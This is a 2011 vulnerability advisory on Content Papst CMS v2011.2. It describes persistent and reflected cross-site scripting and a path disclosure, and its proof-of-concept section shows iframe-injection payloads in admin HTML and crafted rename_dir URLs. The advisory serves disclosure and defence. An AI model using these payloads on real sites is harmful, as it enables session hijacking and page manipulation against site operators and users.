Content Papst CMS v2011.2 - Multiple Web Vulnerabilities

Document Title:
===============
Content Papst CMS v2011.2 - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=363


Release Date:
=============
2011-12-18


Vulnerability Laboratory ID (VL-ID):
====================================
363


Product & Service Introduction:
===============================
Contentpapst ist ein leistungsstarkes und sehr flexibles Content-Management-System (CMS) speziell für kleine und 
mittelständische Unternehmen, Behörden und Organisationen. Mit dem CMS Contentpapst verwalten Sie Ihre Firmen-Homepage, 
Ihre Vereins-Webseite etc. zukünftig komplett per Browser, ohne zusätzliche Software!

(Copy of the Vendor Homepage: http://www.sandoba.de/produkte/cms-contentpapst/)


Abstract Advisory Information:
==============================
Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the Content Papst CMS v2011.2


Vulnerability Disclosure Timeline:
==================================
2011-12-18:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
1.1
Multiple persistent input validation vulnerabilities are detected on the famous Content Papst v2011.2 Content Management System.
The vulnerability allows an remote attacker or local low privileged cp user account to inject own malicious script codes on 
application-side (persistent) of the web service. Successful exploitation of the vulnerability can result in persistent module 
content manipulation of vulnerable modules, phishing & session hijacking.

Vulnerable Module(s):
					[+] Categorie 		=> Titel/Beschreibung/Permalink
					[+] Links 		=> Titel/URL/Beschreibung
					[+] Artikel-Categorie 	=> Titel/Beschreibung/Permalink
					[+] Artikel 		=> Titel/Beschreibung/Permalink
					[+] News		=> Name/Beschreibung/URL

Picture(s):
					../1.png
					../2.png



1.2
Multiple non-persistent cross site scripting vulnerabilities are detected on the famous Content Papst v2011.2 Content Management System.
The vulnerability allows an attacker (remote) to hijack customer/admin/moderator/user accounts via cross site scripting.
Successful exploitation of the vulnerability can result in  account steal & client side content manipulation on requests.

Vulnerable Module(s):
					[+] Dateiverwaltung - Topic [Name,Path & Folder]
					[+] News - Search Parameter

Picture(s):
					../3.png


1.3
A Information/Path disclosure issue are detected on the famous Content Papst v2011.2 Content Management System.
A regular expression format output displays mistake shows remote attackers sensitive information via path error.

Vulnerable Module(s):
					[+] Search File Overview


--- Exception Logs ---
<b>Warning</b>:  preg_match() [<a href=\\\\\\\"function.preg-match\\\\\\\">function.preg-match</a>]: 
No ending delimiter \\\\\\\'/\\\\\\\' found in <b>/kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br>
<b>Warning</b>:  preg_match() [<a href=\\\\\\\"function.preg-match\\\\\\\">function.preg-match</a>]: 
No ending delimiter \\\\\\\'/\\\\\\\' found in <b>/kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br>
<b>Warning</b>:  preg_match() [<a href=\\\\\\\"function.preg-match\\\\\\\">function.preg-match</a>]: 
No ending delimiter \\\\\\\'/\\\\\\\' found in <b>/kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br>
<b>Warning</b>:  preg_match() [<a href=\\\\\\\"function.preg-match\\\\\\\">function.preg-match</a>]: 
No ending delimiter \\\\\\\'/\\\\\\\' found in <b>/kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br>
<b>Warning</b>:  preg_match() [<a href=\\\\\\\"function.preg-match\\\\\\\">function.preg-match</a>]: 
No ending delimiter \\\\\\\'/\\\\\\\' found in <b>/kunden/282246_12XXX/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br>
<b>Warning</b>:  preg_match() [<a href=\\\\\\\"function.preg-match\\\\\\\">function.preg-match</a>]: 
No ending delimiter \\\\\\\'/\\\\\\\' found in <b>/kunden/282246_12XXX/cms-test.com/demoversion/modules


Picture(s):
					../4.png


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers or local low privileged user accounts. For demonstration or reproduce ...

1.1
- Title & Beschreibung  - Categories

<tr class="layout_table_row_1">
	<th valign="top">3</th>
	<td valign="top" width="150"><a href="/demoversion/admin.php?file=news&mode=edit_category&
;number=3">hacker23 >"<iframe src="http://vulnerability-lab.com width="1000" height="800" "></a></td>
	<td valign="top"><em>Keine Beschreibung verfügbar.</em></td>
	<td width="130" valign="top">Öffentlich verfügbar</td>
	<td valign="top"><a href="http://www.XXX.com/[PATH]/news-category-3.html" title="Zur Webseite wechseln"><img src="/demoversion/themes/backend/images/alfa_buttons_view.gif" border="0" alt="Zur Webseite wechseln" /></a></td>


- Article Name & Beschreibung  - News

<tr class="layout_table_row_2">
	<th><input id="checkbox_16" name="checkbox[16]" value="1" class="checkbox" type="checkbox">?????</th>
	
<td>16</td>
	<td align="left"><a href="/demoversion/admin.php?file=news&mode=edit_news&number=16" title="Neue Produkte 
von der Cebit 2006 >"<iframe src=http://www.vulnerability-lab.com width="1000" height="800">">N
eue Produkte von der Cebit 2006 >"?????<iframe src="http://www.vuln...%3C/a"></td>
	<td align="center"><img src="/demoversion/themes/backend/images/icons/color_green.gif" border="0" alt="Öffentlich verfügbar" title="Öffentlich verfügbar" 
/></td>
	<td align="center"><img src="/demoversion/themes/backend/images/icons/color_blue.gif" border="0" 
alt="Aktuelle News" title="Aktuelle News" /></td>
	<td width="130"><a href="/demoversion/admin.php?file=news&mode=edit_category&number=1">Allgemeines</a></td>
	<td width="90" align="left">
09.09.2010</td>
	<td align="center"><a href="http://www.cms-test.com/demoversion/news/allgemeines/neue-produkte-von
-der-cebit-2006.html" title="Zur Webseite wechseln"><img src="/demoversion/themes/backend/images/alfa_buttons_view.gif" border="0" 
alt="Zur Webseite wechseln" /></a></td>
	<td><a href="/demoversion/admin.php?file=news&mode=duplicate_news&number=16&clean=yes" onclick="return confirm('Sind Sie sicher, dass Sie diesen 
Eintrag duplizieren wollen?')" title="News duplizieren"><img src="/demoversion/themes/backend/images/alfa_buttons_duplicate.gif" 
border="0" alt="News duplizieren" /></a></td>
	<td align="center"><a href="/demoversion/admin.php?file=news&mode=edit_news&number=16" title="News bearbeiten"><img src="/demoversion/themes/backend/images/alfa_buttons_edit.gif" 
border="0" alt="News bearbeiten" /></a></td>
	<td align="center"><a href="/demoversion/admin.php?file=news&mode=delete_news&number=16" onclick="return confirm('Sind Sie sicher, dass Sie diese Aktion durchführen möchten?')" 
title="News löschen"><img src="/demoversion/themes/backend/images/alfa_buttons_delete.gif" border="0" alt="News löschen" /><
/a></td>
</tr>


PoC:
				../category
				../news-listing



1.2
http://www.XXX.com/[PATH]/admin.php#!file=upload&mode=rename_dir&form[dir]=cache&form[path]=%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E
http://www.XXX.com/[PATH]/admin.php#!file=upload&mode=rename_dir&form[dir]=%3E%22%3Ciframe%20src=http://vulnerability-lab.com%3E&form[path]=.



1.3

<td class="table_head">Suchen</td>
	</tr>
  <tr>
		<td class="table_bottom table_bottom_inline"><table border="0" cellpadding="2" cellspacing="0"><tbody><tr><td><input 
name="form[query]" id="form_search_query" alt="" class="input_9" maxlength="50" value="-1\" onclick="jsapi('#form_search_livesearch_frame')
.hide();" onkeyup="jsapi.get('/demoversion/admin.php?file=upload&mode=livesearch&form[query]=' + this.value + '&form[type]=' + jsapi('#form_search_type').val() + '&form[case]=' + jsapi('#form_search_case').attr('checked') + '&form[dirs]=' + jsapi('#form_search_dirs')
.attr('checked') + '&clean=yes', function(data) { jsapi('.layout_livesearch_frame').hide(); jsapi('#form_search_livesearch_frame').html(data); 
jsapi('#form_search_livesearch_frame').css('margin-bottom', '-' + jsapi('#form_search_livesearch_frame').height() + 'px').show(); });" style="margin-
right: 5px;" type="text"><div class="layout_livesearch_frame" id="form_search_livesearch_frame" style="width: 345px; display: block; margin-bottom: 
0px;"></div></td><td>Dateityp:</td><td><select name="form[type]" class="input_5" id="form_search_type" style="margin-right: 5px;">
...
	<option value="tpl">.tpl</option>
...
	<option value="txt">.txt</option>
	<option value="xml">.xml</option>
	<option value="zip">.zip</option>
</select></td><td><input name="form[case]" value="1" alt="" id="form_search_case" class="checkbox" type="checkbox">
<label for="form_search_case">Groß-/Kleinschreibung</label> <input name="form[dirs]" value="1" alt="" id="form_search_dirs" class="checkbox" 
type="checkbox"><label for="form_search_dirs">Ordner</label> <input name="mode" value="search_now" type="hidden">
<input name="clean" value="yes" type="hidden">
<input value="Abschicken" alt="" class="inputsubmit" type="submit">
</td></tr></tbody></table></td>
	</tr>
</tbody></table>
</div><br></form>

<br>
<b>Warning</b>:  preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br>
<b>Warning</b>:  preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br>
<b>Warning</b>:  preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br>
<b>Warning</b>:  preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br>
<b>Warning</b>:  preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules/upload/class.admin.php</b> on line <b>563</b><br>
<b>Warning</b>:  preg_match() [<a href="function.preg-match">function.preg-match</a>]: No ending delimiter '/' found in <b>/kunden/282246_12623/cms-test.com/demoversion/modules


Security Risk:
==============
1.1
The security risk of the persistent vulnerabilities are estimated as high(-).

1.2
The security risk of the non-persistent cross site scripting vulnerabilities are estimated as medium(-) because of 
7high required user inter action.

1.3
The security risk of the information dislcosure bug is estimated as low.


Credits & Authors:
==================
Vulnerability Research Laboratory -  Benjamin Kunz Mejri (Rem0ve)   &  Pim J.F.P. Campers


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory